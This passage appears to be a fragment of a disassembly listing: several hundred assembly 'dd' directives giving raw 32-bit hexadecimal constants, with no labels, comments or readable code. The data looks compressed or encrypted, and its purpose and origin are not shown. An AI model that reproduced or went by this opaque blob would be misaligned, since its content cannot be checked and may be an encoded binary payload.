		dd 1903FCB1h, 5E962Ah, 0F9566111h, 0D9CE6445h, 0B075B507h
		dd 1C57BB3h, 0F5A1FC00h, 0B86719BFh, 6F743290h,	9CE06308h
		dd 0F60018AAh, 8ECFF412h, 1E67F034h, 42B019h, 0B5D43C1Eh
		dd 2126E170h, 0B2617C39h, 40818C9Dh, 0DFA0FEBDh, 0E5872F2h
		dd 0F4200FD9h, 0C68B0708h, 7AC02FC1h, 4679EFDh,	0E80EFF08h
		dd 36BCA476h, 2ABA7900h, 0B51B1478h, 1FF90007h,	0DAF53B1Ch
		dd 0D10EAD83h, 8F2864A6h, 0D30D3DF7h, 542008C5h, 0AAEB008Ch
		dd 0D29B13B3h, 19018DA2h, 10B90F79h, 12DC62B4h,	41F076Bh
		dd 0FE8B6DB1h, 53848A61h, 8881A26Eh, 0DB1AB400h, 27769DB5h
		dd 6FF73C74h, 128B5780h, 0B80DDE79h, 0ED2CA802h, 208E5C13h
		dd 873B7AFEh, 535B5009h
		dd 65C00267h, 797D2147h, 38B0C995h, 35EF189Ch, 55ED39h
		dd 32A6CC25h, 7A8608A5h, 0F2AFDB01h, 6C7CF0F4h,	44F19E0h
		dd 0EF9CE83Ch, 1B084034h, 387791D7h, 2901527Eh,	0C625D2D0h
		dd 0C4E440B4h, 1E015ACAh, 87B5E90Dh, 14246296h,	0CC763FC8h
		dd 51211AEh, 0C3485326h, 84D4E17Fh, 2955C01Ch, 0C17DCC39h
		dd 3E0ABE02h, 8182DF84h, 0C9659CB4h, 7115C30h, 0E81FF51Eh
		dd 0F3795099h, 440184D3h, 0BE62F292h, 45D0914Eh, 5BFD2906h
		dd 76860794h, 49D9E0DEh, 8927B75Eh, 707890DAh, 0A9DD6F84h
		dd 0BA8BF300h, 0B300AB42h, 0D7141C10h, 0B1F45B62h, 0EA1800B4h
		dd 0DBF0A1D1h, 0BEA4960Fh, 6001B639h, 0B1F228C4h, 44C2F825h
		dd 437A00E8h, 77D794Ah,	0AD0BF964h, 1B13F3Dh, 0FDE5376Eh
		dd 27A4DAC4h, 201215CBh, 78A10480h, 7900860Bh, 9ACB23DDh
		dd 0C0DBF24Ch, 913AB2CEh, 40B9F6E1h, 4EC2BBh, 0C58E4ED0h
		dd 3A00E07Fh, 0F570A5D4h, 986CBC75h, 0DE1C8118h, 60C40E0h
		dd 0A19DF06Eh, 7FE6B9C2h, 92F21113h, 0EDE3B8D0h, 86C00073h
		dd 370F32DFh, 0B603BDA5h, 6E8AE83Eh, 4036FA2Ah,	0BF21320h
		dd 9A07CC19h, 783CB49Bh, 0B12980D1h, 77ADA458h,	7F3E2537h
		dd 16969890h, 0BF543305h, 7CC21945h, 4F392034h,	0DA00A9ACh
		dd 0FD6D6E09h, 79AA1387h, 7CF80310h, 68AB916Bh,	0BEAD4900h
		dd 0A7C6A2FCh, 9FAE0050h, 36F59019h, 470005CCh,	0FE5AA5D1h
		dd 0B9E3CFh, 87AD5263h,	9D08A084h, 0EF581000h, 0D9D67D66h
		dd 1C772E6h, 0D3A9BC77h, 804D901Eh, 11E34430h, 2905E1h
		dd 0A9C466DFh, 14B97D51h, 65FB0D00h, 70A8AADDh,	1880632h
		dd 38452B55h, 5F00647Eh, 0D372E914h, 0C0D474AAh, 150E4340h
		dd 0FA32B3D1h, 805228ABh, 2B4612A1h, 0A1690076h, 63F573B2h
		dd 0EEE85E30h, 0F2298D61h, 999D4F65h, 8074DF25h, 0E6CD90BBh
		dd 3900C06Ch, 5D60C610h, 333D95Eh, 5B4A9DD8h, 400B482Ch
		dd 0D65ADh, 0C099E090h,	61C830FDh, 8F396951h, 53319307h
		dd 0E9A3D534h, 0A0E7E3E6h, 26015Fh, 0E3EE6F40h,	69D6C52Fh
		dd 0D28D5405h, 5001FAB2h, 22E030C2h, 7888F0E7h,	0CBD30D84h
		dd 0FC21F811h, 0C10349BDh, 0C2347E76h, 10BED8B3h, 54170019h
		dd 2547D1B1h, 4260E538h, 0A27A97B1h, 0D6BD002Ah, 0DB1BB791h
		dd 4715B25Ah, 1B446CEh,	0B4181488h, 984001D4h, 6047F863h
		dd 5B64D96Ah, 54B058C2h, 0D2DB5480h, 0FDD4B70Ah, 6A4080C9h
		dd 3147D554h, 0FA396FCFh, 0F3181AAh, 0A3CBEA59h, 702E2620h
		dd 0B7FC0032h, 897B6DEEh, 149041CDh, 9300E884h,	0BA235B40h
		dd 1CE9AE6Fh, 0C00E48EAh, 0C7F01DCDh, 1A00C3D8h, 315D2B88h
		dd 92B4E4B0h, 0AD154C50h, 5519A03h, 74E09F28h, 493B3D53h
		dd 698C81F9h, 0BB2D5888h, 0F55D3182h, 0CC80C78Bh, 1B8AEF11h
		dd 4F20090Eh, 0DDF02088h, 0E676245h, 66CF3AD2h,	2BD7809Fh
		dd 0E1CE41D4h, 0B78C5750h, 3EEAA88h, 731AACFCh,	90AC8F2Bh
		dd 18210D64h, 0AA00A8F2h, 0B2419C26h, 0BBEED79h, 15E28182h
		dd 766585h, 39DAFB89h, 41542B7Ch, 0D007F8A4h, 6FEF01Fh
		dd 6E2C23h, 89D79B19h, 0AA254A84h, 0E317D000h, 0EE881BFCh
		dd 0BFB70540h, 504E90FDh, 0C302A4D0h, 7A5B1D7Eh, 0B2076846h
		dd 0F17CD20Bh, 25EDFE30h, 0A7D914FAh, 6C03B030h, 0F42F1582h
		dd 4E8C46F8h, 81DC5BF4h, 0C2800F40h, 1E821B4h, 0B7CE2CBDh
		dd 0C44B0E9Bh, 0A055B31h, 1CFB9C5Dh, 82DC9040h,	7DB605FFh
		dd 6C0D0015h, 6655EFD7h, 0FE00F432h, 841F7E11h,	7E3ED8Ch
		dd 0C29F79E4h, 40AA65C1h, 85EEFD8h, 0A97EF32Eh,	21A41800h
		dd 91FC76B6h, 81A51C92h, 0AB4E4C9h, 2CDC2269h, 0E42C050Dh
		dd 4F8848AEh, 0D540C49Ch, 0C2DD3105h, 24BC0547h, 202B0268h
		dd 0BDA265B0h, 9EC74313h, 0D27CE300h, 60FA726Ch, 3DD1D187h
		dd 0E9009DA2h, 609EF319h, 48A1BCD7h, 8B09A403h,	41866CDh
		dd 0C9001F4Ah, 8C7AAE98h, 7A639597h, 0D2400017h, 0A4A665D8h
		dd 1E3BC35Eh, 130E80DAh, 0EA4ECFE0h, 598D2601h,	0C5890190h
		dd 30E8C2DBh, 0C4028C74h, 0CB2A5F22h, 8E2CE03Dh, 128900A7h
		dd 0A588F07h, 68602BF6h, 0C41981D1h, 37181D55h,	3E9D84D2h
		dd 0C2088308h, 7AD80CF5h, 0D505ADD9h, 0BFE3D4BCh, 0E459BC40h
		dd 303ECD82h, 6851622Ah, 800F8848h, 0E1241A3Dh,	67BC20F1h
		dd 0D5C8C03Eh, 611E0A6Fh, 93877268h, 6E13B5Fh, 0F041B78Eh
		dd 3371CE1Ah, 0D53820h,	7D3FE302h, 1920E3Dh, 0ECF68C08h
		dd 47AA84C5h, 0EB48C869h, 9B5DB607h, 0B710118Bh, 0B16CDCF5h
		dd 76B40338h, 98E3C9DDh, 40CC47B9h, 0B66DEA1Ch,	0C8966C2Ah
		dd 10075B1Bh, 3A4BEBF1h, 0E9801929h, 1FD8AF75h,	890495A9h
		dd 0FB830414h, 347C4C8h, 93B0FA4h, 0FDE94D96h, 28433C7h
		dd 7847B72Eh, 4FC2203Ch, 0CC0048CFh, 1E3E2B7Eh,	903BD297h
		dd 0D7E600B0h, 58C813BEh, 47181F4Bh, 0DDA1F075h, 70341F33h
		dd 48C4046Fh, 8140C4F4h, 60D6017Ch, 7A00E430h, 0CB1672BDh
		dd 286E5812h, 0C78E247h, 0F5C3F27Dh, 6F1AC411h,	18F1462Ch
		dd 1B8D2D14h, 0E119FABEh, 7E935380h, 55C98F03h,	0E82DBA72h
		dd 5001E68Ch, 0FD2E83Dh, 64887D0Bh, 398111C6h, 90DB6B03h
		dd 0D08EF2E2h, 3C5D9D8Bh, 0F0B654Ah, 0E006B845h, 54C44B3h
		dd 30B84848h, 58B2C8D7h, 0CF7900F6h, 51A245B4h,	1E00B132h
		dd 8756517h, 0B0241C0Fh, 97CC2A30h, 1EE53090h, 0CB654279h
		dd 0BD5BA000h, 4A678526h, 74550016h, 0AAAC3F98h, 0ACA42BF8h
		dd 3D00FA7Ch, 8CA4AFBFh, 0E40B52ECh, 0B1E90048h, 0DD88F5A1h
		dd 42F318E5h, 542A68A0h, 0E4D15F0Eh, 0FCC1E0D2h, 0E016AAC7h
		dd 5EDBB100h, 0BCFAE3E8h, 65E000C2h, 0CD911F62h, 0FF2E762Dh
		dd 0FCC1407Ch, 0F494DB58h, 7664FAh, 0DF8CE91Ah,	0AE5C1133h
		dd 8029CC00h, 968D97C3h, 8847607Ah, 9BEE17CAh, 0FA69F3Fh
		dd 8B66D3C0h, 88D010ECh, 577004D7h, 8158F22Dh, 70088134h
		dd 4C98FCB9h, 30D059E6h, 6C2D0260h, 0C6286FCCh,	0A12E060Ch
		dd 41F8BAEBh, 0E4B19709h, 4D08A0B6h, 39EC0FD6h,	1E806A45h
		dd 0FB48BCF6h, 2F14CE5Bh, 4F064E8h, 88ED50F7h, 6E225C80h
		dd 0C4D4530Ah, 0BD766200h, 2CC74EC0h, 0BC94BB03h, 80A59D96h
		dd 25B493Bh, 0EB5C6AE8h, 46C25902h, 337158A0h, 0CB009E67h
		dd 0BCB7DBACh, 0ECAE6612h, 0A51498FAh, 0FB9E10h, 0B1E60150h
		dd 20007699h, 0D414267Ah, 70981574h, 90C30AEAh,	8734FC01h
		dd 90057F28h, 7826E039h, 6310D316h, 0F3F5A820h,	9A9504B3h
		dd 0C890F224h, 0C4001300h, 0E926FE02h, 2E91632Ah, 4438725Bh
		dd 0A8C8886Dh, 0D500CE73h, 7B842623h, 0E2D6162Dh, 6DDE080Bh
		dd 866058D2h, 0FF12C4Ch, 32E7759Eh, 13BCB240h, 0B1019DEAh
		dd 0CEF32B90h, 4070B3E8h, 0C4D10005h, 0A1946349h, 1E14C50Fh
		dd 185CF7C3h, 2859B473h, 32B200F6h, 4170BAD8h, 9251E0h
		dd 3C0EB070h, 41A92E38h, 315B32Bh, 983D6CC0h, 0E3610740h
		dd 201D4DB0h, 62A56687h, 14D8C248h, 0F5CE50Dh, 0C077F7CAh
		dd 0C3B9E45Dh, 3137575h, 0A41A862Eh, 292FE5FAh,	936080AEh
		dd 715DA3D4h, 36A600A8h, 0F1323A23h, 0F4073B6Fh, 0B8C4677Ch
		dd 3090A2C4h, 2578617h,	8F68B075h, 9C8C8BDDh, 2A4BD4A0h
		dd 37092440h, 160AA5C3h, 557F7C6h, 882C53A8h, 0C8000E64h
		dd 34808D16h, 4E451Ah, 0B1114FA4h, 6E2517A0h, 0E0BA292Ah
		dd 1416EE78h, 0EC300549h
		dd 0E7368B9h, 175C9977h, 0E68D78F8h, 2528BC13h,	0C5373107h
		dd 6EC38B31h, 5B000022h, 0F9663AD1h, 0EFA0A390h, 0B500FB0Fh
		dd 3B58ED6Bh, 17D1151Ah, 6EBA6ABh, 0B1472C00h, 0C20AEC00h
		dd 0C5B503EEh, 11E3CDAh, 0F95CE201h, 407BB7B3h,	8BD90A94h
		dd 68E8B62Eh, 46345B42h, 0A84500F0h, 6FC61685h,	19C34906h
		dd 97B72547h, 529114Ch,	62DBBD39h, 0A645C1A8h, 0F4CC077h
		dd 1798C448h, 4800AFF9h, 0A4D9795Bh, 30264CEEh,	6BBD4700h
		dd 68E4F517h, 0AD0FC501h, 0F36DDBE8h, 29334400h, 0EA0E49FAh
		dd 20B1A1FAh, 0E646209Eh, 136E1704h, 0B440088Eh, 0FDC7839Ch
		dd 6C67C49Bh, 80E92D0h,	757E001Fh, 4CAB5523h, 78241488h
		dd 6D0088CFh, 133FD08Ch, 0AC7C0C0Bh, 5518B8C3h,	0B0BAF6F4h
		dd 0CBDEF100h, 9366BFCCh, 30ED58CFh, 6B251Fh, 55289C06h
		dd 0D20F9ABDh, 6BC9385Eh, 52EC0494h, 45285B42h,	0F16C94A3h
		dd 51A1900h, 9A9B074Dh,	8CA30777h, 20728176h, 0AE254BF2h
		dd 15C10F0Ah, 0D70124E4h, 0D2E7F82Ch, 1420CBE9h, 4B6E220Eh
		dd 1BC00250h, 7F309C1Dh, 287D0F40h, 261B5E4h, 576974A0h
		dd 0CC510588h, 84A75600h, 4B620743h, 2FBB80BCh,	0BF0E7E42h
		dd 0EF1B6A50h, 46DD40FCh, 12DC40Dh, 69F3A58Ah, 81F26C88h
		dd 0CB838279h, 0E3DC3406h, 482D0089h, 5A2409F1h, 0A80F3F0Fh
		dd 0C79C9460h, 21901F71h, 914C066Eh, 214E3E24h,	2CE21330h
		dd 0E0137628h, 3420E54Ch, 70C153Eh, 0D4FC0407h,	6D3A90FEh
		dd 8E2EA567h, 0CB10A42Bh, 0E83DC780h, 50032FCh,	267540A5h
		dd 4D70F511h, 0D80224FAh, 0C6EDE65h, 3CD7F261h,	6AA1805Ch
		dd 2D42C3FEh, 0EFFC6747h, 744DB800h, 5A5D4ACh, 394CC7EFh
		dd 2894C106h, 69EE1049h, 40E74B29h, 0AC37C340h,	9C0038A2h
		dd 55563271h, 36F298h, 2944D8Eh, 5D90FF8h, 0F604E300h
		dd 8CEB73C2h, 53E229B6h, 50010B88h, 5B35E400h, 56024CE3h
		dd 0FDEAEDF1h, 33FC913Bh, 0D87206F9h, 61C47C00h, 62A9D167h
		dd 1915E030h, 68072Dh, 0FF7D856Fh, 1EE7F99Ch, 92441D1Eh
		dd 0ECD78B81h, 9051A8E8h, 14FCED10h, 0B650796h,	83A4FB6Bh
		dd 210184E5h, 0F7BA7367h, 97F893E3h, 6ED309FCh,	28E8E04Ah
		dd 1300BDD5h, 3E8425D9h, 7825BBFh, 0B30A5749h, 28F4408Bh
		dd 3C988D35h, 0B9ACF022h, 0E3803B3Ch, 0C16B1F02h, 0C3FE8D4Fh
		dd 0A2668903h, 0F8398AE7h, 920A5B3Bh, 0A870FD84h, 2A89256Bh
		dd 29599800h, 0AC0116E5h, 5C839BEBh, 0ABE570C0h, 1C76D050h
		dd 0F4C5FCDCh, 299C010Fh, 2BEFE893h, 0BCF5E043h, 0AC5F2A4Eh
		dd 0BE018F80h, 60DAB0h,	9CB1D779h, 3265029Bh, 5E8004B9h
		dd 4D1E3597h, 9DD9020Dh, 0CD47CE59h, 23BD451h, 8EE9F52Fh
		dd 0C2DC8001h, 0ECC4BA5Eh, 30A1E67Dh, 44A1361Eh, 0FD25EBC3h
		dd 2C2BCEh, 7715EC5Ch, 5B71C45Ah, 7AC4B407h, 2D49D098h
		dd 16548048h, 191010Dh,	0F824CF53h, 2094020Bh, 690C5E2Ch
		dd 314DE704h, 0F24127D7h, 5367A8A7h, 0D2A365C9h, 97F0E599h
		dd 3AE8A69h, 10E3725Fh,	89936390h, 7AC7DD00h, 84136F2Eh
		dd 0A8D009D7h, 0A0682C74h, 6A006622h, 0FAB488Bh, 103F56h
		dd 71ACC04h, 86803305h,	0ACC7D62Eh, 8CE8B980h, 262558h
		dd 7D1D3760h, 52FB64DEh, 0D8F58305h, 48001E11h,	0BC5DF6CAh
		dd 714F00D4h, 0CDDF15Eh, 0BF00B761h, 0C3DBFE45h, 16C466C1h
		dd 687328h, 0EB2F0338h,	0ED015912h, 0A0F625ABh,	4030F871h
		dd 3C57416h, 935EBC2Ah,	72B1D62Ch, 7462E0h, 2F064B85h
		dd 0F72026h, 0B66845AEh, 36FAC4E9h, 0EA0511F8h,	0A917F27Dh
		dd 18FB2480h, 0CE04C22h, 0DD155D83h, 39C54CB0h,	0E3D4500h
		dd 890155A4h, 24BE04FCh, 80593AA1h, 0C6AFF868h,	63C4AD62h
		dd 0E4044820h, 585C0E04h, 9404BCBDh, 0B767C0FBh, 0C006284h
		dd 0E9C19CDAh, 57C34DDh, 8BF55B8Dh, 0A2041C4h, 4080D223h
		dd 6EC17A8Eh, 7393BE01h, 4FFB24C4h, 0FC22FBF3h,	0E85D74A0h
		dd 521C4011h, 17EDB401h, 41D86E51h, 0F31420h, 38E19BF7h
		dd 614A07BAh, 43FB926h,	12B9C60h, 298E00FAh, 0A43111E3h
		dd 0D124166Dh, 0F404E03Ch, 3CCCD2F5h, 0AFE6122Ch, 0FB808894h
		dd 11F1AA03h, 0F8F2885Bh, 1F70F68Eh, 0A67833B0h, 1B5211FCh
		dd 0A8491FE5h, 703AAE3h, 0E64066BAh, 738A201Ah,	0DA06EFCEh
		dd 0E9777B62h, 7D420F39h, 9520F948h, 0F45E3DD4h, 706DBA2Ch
		dd 15995541h, 63D8BFC9h, 0F87F2892h, 0F01400A8h, 2945BBB7h
		dd 1A09ED60h, 0A5BA50Ah, 0C317EED4h, 63B29804h,	0AC80CC42h
		dd 0B7C55498h, 8D508E03h, 0C0778C4Dh, 0A0EA57E1h, 58073DEDh
		dd 2A0664E3h, 91F86D44h, 431C7E00h, 0FF758924h,	56870B7Ch
		dd 48446212h, 923A1FFEh, 21E0053h, 0DCB614F4h, 5EC71458h
		dd 0C2127C63h, 0A2B0006Ch, 767420D0h, 30A9455Ch, 7BE021EAh
		dd 0C434002Ah, 5147397Eh, 17161F5Fh, 0D001C00Bh, 20BA5671h
		dd 9D809028h, 2DE98A8h,	6CE5E401h, 0E9316BDCh, 5CA69AD8h
		dd 71004817h, 4C13656Ah, 0B14CB9C4h, 0C26F01ECh, 8A196981h
		dd 5CAACECh, 0FA797D74h, 24944086h, 7FC59DBDh, 0DED5EB00h
		dd 73F54F4Ah, 0B621C082h, 1E2649C4h, 0CA7CBB1Dh, 0C898C813h
		dd 98C8966Eh, 0D9CB425Ah, 0EEEF4600h, 77CF6695h, 4F2CBCC4h
		dd 0DB00E9EEh, 662BC62Ch, 69ED8800h, 0BE350341h, 9CE44CB2h
		dd 0C828D480h, 5AEE6F34h, 7E93675Ch, 20639C25h,	0B570A360h
		dd 1E5E215h, 0F5AF93DEh, 0F48D3907h, 0AB00E983h, 14B6DFCAh
		dd 0A2CDF256h, 45BA6054h, 97F9E7AAh, 6AC15889h,	61050418h
		dd 7E37081Dh, 0E9496880h, 26C9E789h, 7DC42BDh, 4097B552h
		dd 0F90A6FB4h, 0E4659B90h, 8489E0E1h, 0DFA1C0h,	8B482396h
		dd 0B26B0358h, 0E43863Fh, 813B4C1Fh, 76BDFEE9h,	98F30830h
		dd 0FE41312h, 9B48C81Eh, 466AD800h, 0B2084A8Eh,	16277E4Ch
		dd 22C29ACh, 0FF72D53Bh, 0FA655CE1h, 90C1F522h,	8C06B8h
		dd 38E3E9AFh, 0ACB97535h, 0C84AFB32h, 0FD58C053h, 6FE8E56Ah
		dd 858A09AEh, 4C98B9DFh, 0A40046B7h, 55A24BCBh,	8158Ch
		dd 0E13AE878h, 507F86DCh, 13DAE600h, 6CAB59CAh,	0B911E69Ah
		dd 8E410F68h, 0A1EEF461h, 6036C463h, 67DC805h, 8CB42C89h
		dd 99D50035h, 65F80343h, 0A40BF4AAh, 7898CB9h, 140A67Ch
		dd 0FB5FF60h, 62BF283Ch, 0DF412280h, 0D0916483h, 14C0689Dh
		dd 0BD6DEA33h, 0ECD10094h, 34D23961h, 7C91C226h, 0B66987BCh
		dd 49D0D4A0h, 2483C49Ah, 0F3472BAh, 0E8602754h,	0ED8F2C69h
		dd 0BABE348h, 0E9C7EC90h, 2B612834h, 51E278D9h,	7C5E00FCh
		dd 1C735518h, 0C03BE003h, 0F8B77206h, 0B254712h, 0D1BFA970h
		dd 5FFAB418h, 5A7C2C1Fh, 0ED863201h, 0C1EDA896h, 69F5260h
		dd 70ECAA1Eh, 0E02431ACh, 0EF809043h, 939EC32Fh, 7857385Ah
		dd 0B1DBC49Dh, 0F0886AB8h, 6D265149h, 0D4009C56h, 0D8F3E3EEh
		dd 0D52500BBh, 0B9BA197Dh, 0E84AB68Eh, 15EBF020h, 88534ACBh
		dd 2C308D3Ch, 341C81F0h, 0E41F3E5Eh, 2DE74F00h,	0FED8EB1Dh
		dd 7E6FD627h, 0F63B0074h, 88A16D89h, 0BFDA9A05h, 4489C5ECh
		dd 0E42AB000h, 56E8F4h,	930E149Dh, 26EE9508h, 0C0C16575h
		dd 58391618h, 0CC8CF4FFh, 0E69F0001h, 0B8A5349h, 2E1A0E39h
		dd 41E07F8Fh, 9C10F7C0h, 11006DBFh, 3962EB79h, 0BB50287h
		dd 0DBC06AF2h, 0C4878BF5h, 0BB2C0068h, 73B3125Ah, 4E01EC04h
		dd 9108BF19h, 0C77A519Ah
		dd 6D90D226h, 9507E064h, 1AF59458h, 0F0DBECA0h,	1420FFC7h
		dd 0CAA006B7h, 10887C38h, 62424004h, 1C8CDAF5h,	6732056Dh
		dd 80AF13EFh, 57BD1568h, 60805098h, 0B8A8F32Bh,	0DD074B0Fh
		dd 0FCE15E8Eh, 0DC8D7233h, 5BC2BCC0h, 8CA2009Ch, 53700BC4h
		dd 2D03C5F0h, 0E8F5668Fh, 0E0712D18h, 92018A1h,	464BF01Dh
		dd 49001973h, 0EABCA6EFh, 668672h, 0DCA6A5Bh, 0FD896967h
		dd 0C0F4C44Ch, 0DE65D58Bh, 0B3AB0051h, 582B8892h, 0C4B8F1F7h
		dd 7D0044FAh, 0B161AE7Eh, 2523E479h, 0B8B01513h, 0E900AEFDh
		dd 0A01A8233h, 964ECA1Eh, 0FC0A40B4h, 297B6FC5h, 0AE805496h
		dd 3449948Bh, 4A9EEAEBh, 0B49C98F8h, 2A02EC02h,	40CDDD5Eh
		dd 1946C99Dh, 79446947h, 8432E5h, 0BAD96E43h, 14B0C4C7h
		dd 703B1F5Dh, 0C898C99Eh, 4CFCA8E0h, 8A587B39h,	0A028295Bh
		dd 691134A4h, 68BA3100h, 0FB37B19h, 0E905E0EEh,	25D26FBDh
		dd 8CD0C8h, 33F44407h, 7889809Bh, 73EC907Ah, 1173C375h
		dd 2C603A00h, 0FD80724Dh, 0E5512F0Fh, 0B27670A0h, 4B00FB3Eh
		dd 0FD878881h, 0EB11B417h, 39D82180h, 8EBA2601h, 0E1BE2200h
		dd 1D2F2515h, 34F000Fh,	0DB80D587h, 98F3C63Dh, 44C9CC40h
		dd 0E3902FC0h, 14EFBCA0h, 6A0039D6h, 0CF4F8795h, 0C40D4Ch
		dd 15B1303Ch, 1F2E7811h, 8DE34717h, 1088E095h, 961801EBh
		dd 7517BC39h, 9FE7F81Ch, 7FAE9116h, 0B68C4C02h,	0C3064CAh
		dd 0F46C8872h, 67006289h, 5139CB04h, 68F307h, 0DEE017AEh
		dd 0C29E7ABCh, 80E8115Ch, 45B4B255h, 515400A9h,	0C383E0B6h
		dd 8F7B213Bh, 64B59F09h, 0F44C0033h, 99B48C41h,	86F7801Ch
		dd 18A94A81h, 4D53D402h, 0E80CB0B1h, 0B62C5590h, 0FA9A8754h
		dd 4C0CE81h, 0D55F7DDCh, 8CC0024Bh, 190C55Eh, 9CB2FC2Bh
		dd 806866B6h, 0B0E4FB18h, 782C6716h, 2891548Eh,	0C3EA03ACh
		dd 53303412h, 2B118A8h,	11416C9Ch, 7AC83192h, 4ECC08D4h
		dd 0B930F3FEh, 3B1E64h,	5B68E369h, 0F27FBB3Ch, 7DE4C452h
		dd 3B8D4000h, 65DA9253h, 0A22B01B5h, 887D8BCFh,	87263h
		dd 0BF085E76h, 7AF21650h, 9008B0ABh, 0D7631714h, 0C088D06Ch
		dd 2608E989h, 80ABE556h, 39A592E2h, 0ACB07CF5h,	8028E34Ch
		dd 0C284914Bh, 8F8B0040h, 0E0B5A378h, 803EE5A9h, 0A763277Ah
		dd 107067A4h, 923ED21h,	0E54EEB1Ch, 7B015852h, 0E19AE8D6h
		dd 32D40583h, 0C6EF3E85h, 1880D5ADh, 37363F9h, 24F6892Ch
		dd 0FAFF1660h, 47851284h, 72F82076h, 0C4BE02D8h, 98819CC0h
		dd 0E3460097h, 0C234F34Ch, 50012D58h, 0CBE2D23Ch, 41805A2Ah
		dd 84B70BCCh, 6A1416DBh, 24E5F1h, 0F9A5623Dh, 0E0E83ECBh
		dd 9A2C04EFh, 0C25CC258h, 2820B7B8h, 24B21888h,	16302C05h
		dd 0DECCC29h, 0B6171905h, 4088E489h, 1BF7007Ch,	14FFA977h
		dd 0ED00D7BAh, 9D358D5Eh, 55B3C30h, 0B94FA2CAh,	1260A675h
		dd 0B004C09Bh, 0C34052E8h, 1EBA05B3h, 0B5C49701h, 1CB94A0Eh
		dd 8E980EBh, 4131393h, 0D6B80B43h, 87A8341Bh, 210531E2h
		dd 11BA89A3h, 0F400CF4h, 0F642D6E0h, 46B9DD00h,	4700235Eh
		dd 495F20E4h, 0B8264B70h, 0AEEB00E8h, 0C36F6DDFh, 6530FDD7h
		dd 0A2129962h, 8C5B4A8Eh, 6898F278h, 64DA8925h,	0E8C2FCFCh
		dd 12E602B6h, 0EBB52A65h, 2F005466h, 0AA842670h, 0A11CBBh
		dd 99B09837h, 0FED9C5Ah, 29E31525h, 9785804h, 3FFDEA95h
		dd 6C88FCE4h, 0B500460Eh, 5A30A62Ch, 9C8F93h, 0D28B8E4Fh
		dd 0A2A30D65h, 12751E16h, 3B9B6500h, 518E464h, 0BC25E806h
		dd 97B00688h, 0CD488A6Bh, 9C752E44h, 4CA255C4h,	8E042A00h
		dd 6978308h, 517D6D1Eh,	7E8ABA80h, 0FB98C86h, 0FC36A566h
		dd 2E2CC032h, 93769022h, 8BF7130h, 2C1C0326h, 1F5FC28h
		dd 30BE95C2h, 9D32D421h, 26B7C00h, 76D139D2h, 609EE283h
		dd 7F10398Dh, 6A07A737h, 50497CA2h, 60CCB937h, 156107A9h
		dd 0A30701AEh, 191867F1h, 0EE814971h, 0A2890060h, 9A423BEDh
		dd 80350F4h, 0BA92A31Fh, 1400AD71h, 3BD49D06h, 0CDF7834h
		dd 0CE7CEF30h, 2D005B51h, 80F3E25Fh, 6560684h, 0B9A826Bh
		dd 78034118h, 703B1B25h, 0CEB900C4h, 0A249B508h, 0C0004E05h
		dd 37FC2E38h, 4D88D0h, 157F331Ch, 7BFFC8D4h, 0FDF0C34Eh
		dd 1951CF36h, 4803AE60h, 98003069h, 0C947D317h,	9ECA0Fh
		dd 144C5540h, 6B1B388Ch, 786E940Ch, 1F9078E4h, 73894479h
		dd 0D7E811B6h, 0EC009B40h, 648A7416h, 1E67750h,	788BF308h
		dd 0A1B567B9h, 13A688E9h, 18DE0600h, 182EE730h,	61C6787Ah
		dd 3C00D257h, 0D0E2DD4Dh, 0A08542h, 224AF3Eh, 7FF3EB60h
		dd 1DBA4518h, 0C8A09331h, 0B82FA0h, 9F027111h, 0FE8B9AEh
		dd 0F6B2CE42h, 0A38FCE0h, 7C08EBC7h, 3A8A1BD0h,	343ED322h
		dd 6C13807Eh, 0A7EE3643h, 0CACF0079h, 6A372CF0h, 0D2E04B83h
		dd 36D94F05h, 0A8236D5Ch, 2BE4D078h, 41B90026h,	9DBC3ACEh
		dd 6801B59Eh, 4B2387A5h, 6983BA7Ch, 0CD3485E6h,	490F3DC8h
		dd 0F126D3Dh, 1306A7D0h, 0A5A5A0h, 3E8739DAh, 0EF732145h
		dd 9F836E12h, 0CAA55C30h, 11BE6071h, 0A2D4469Dh, 40E6D103h
		dd 0D0FC7B6Dh, 3EECB9CBh, 0FB82F71Eh, 9A770A4Fh, 809894A4h
		dd 6CF09D0Ah, 80894939h, 8CEB0C81h, 5CC655ABh, 5806D79Eh
		dd 0E9A7660Bh, 0FADF2604h, 0BC88CA83h, 51E76077h, 6BE99FACh
		dd 0FF717200h, 0D439A28h, 2B140159h, 0BA50DD5Eh, 181C407Eh
		dd 0C2E2AB36h, 0F5C958h, 66BC3F5Ah, 92132BBh, 0A423BD78h
		dd 0D46A7C00h, 6913C7A6h, 1E00DE41h, 0C3BB2BFBh, 356007D9h
		dd 8C7EBF81h, 28009759h, 0B1D0B783h, 0ECB4506h,	96E52302h
		dd 929B0C7Fh, 0F252B929h, 7C200FCh, 0F1D4EE35h,	0F53703C6h
		dd 6451EF59h, 0A8CB2100h, 0C46A9438h, 0F95800F1h, 610DB3EDh
		dd 34000AE3h, 14BAAC93h, 0CE8CDDh, 16DF39F4h, 778E5166h
		dd 60907254h, 0F9B8403h, 22690CA1h, 21FCE60h, 0B400179Dh
		dd 0E9AD6395h, 13B91853h, 1E6C216Ah, 3056C0A9h,	0FE03B0B9h
		dd 0D118DC43h, 2C77C8A5h, 0ECC5C48h, 93B58A00h,	0B7033B73h
		dd 4336F001h, 0E2B90153h, 1EFC9EE8h, 823CF324h,	77B0449Ch
		dd 0E8779C44h, 0A3897607h, 0C901E1FFh, 0EDE8655Eh, 1381FC7Bh
		dd 0CD83C54h, 1D99D193h, 0B1175E00h, 61EF0DEDh,	0E0400BBh
		dd 10F207CEh, 8400E77Eh, 58EEB735h, 12F1ABAFh, 7A3E128h
		dd 0C1F469A4h, 0D2C0F83Dh, 91CA9C80h, 250126C1h, 0D395A85Ch
		dd 0F3F40E82h, 6A530183h, 2A6EE24h, 69F03F63h, 93860614h
		dd 91BD1EB9h, 0A08DD41Eh, 0F2598903h, 0DBC4A769h, 0C0DEFCC1h
		dd 459E66E0h, 0EAB23094h, 15C7F000h, 0CF7FD2A5h, 0E11B0E9Bh
		dd 0B8952B0Ah, 0E751D700h, 0BD629269h, 6504E5F0h, 77766F31h
		dd 17F158C9h, 399FEAF0h, 0B78078F1h, 0B6B0BA24h, 0C8016460h
		dd 0EA8D2E1Bh, 78C42914h, 0BF39C09Ch, 15C3F030h, 6FC6110Eh
		dd 643032D4h, 72DE78DCh, 1FD7B36h, 0A3AD9545h, 225138BCh
		dd 0E9BF505Ch, 0FB90917Ch, 3E9EAA00h, 28D6C944h, 69806F11h
		dd 0E209930Eh, 0F1605C8Eh, 30322B69h, 0A099D3B0h, 1C81DB9Dh
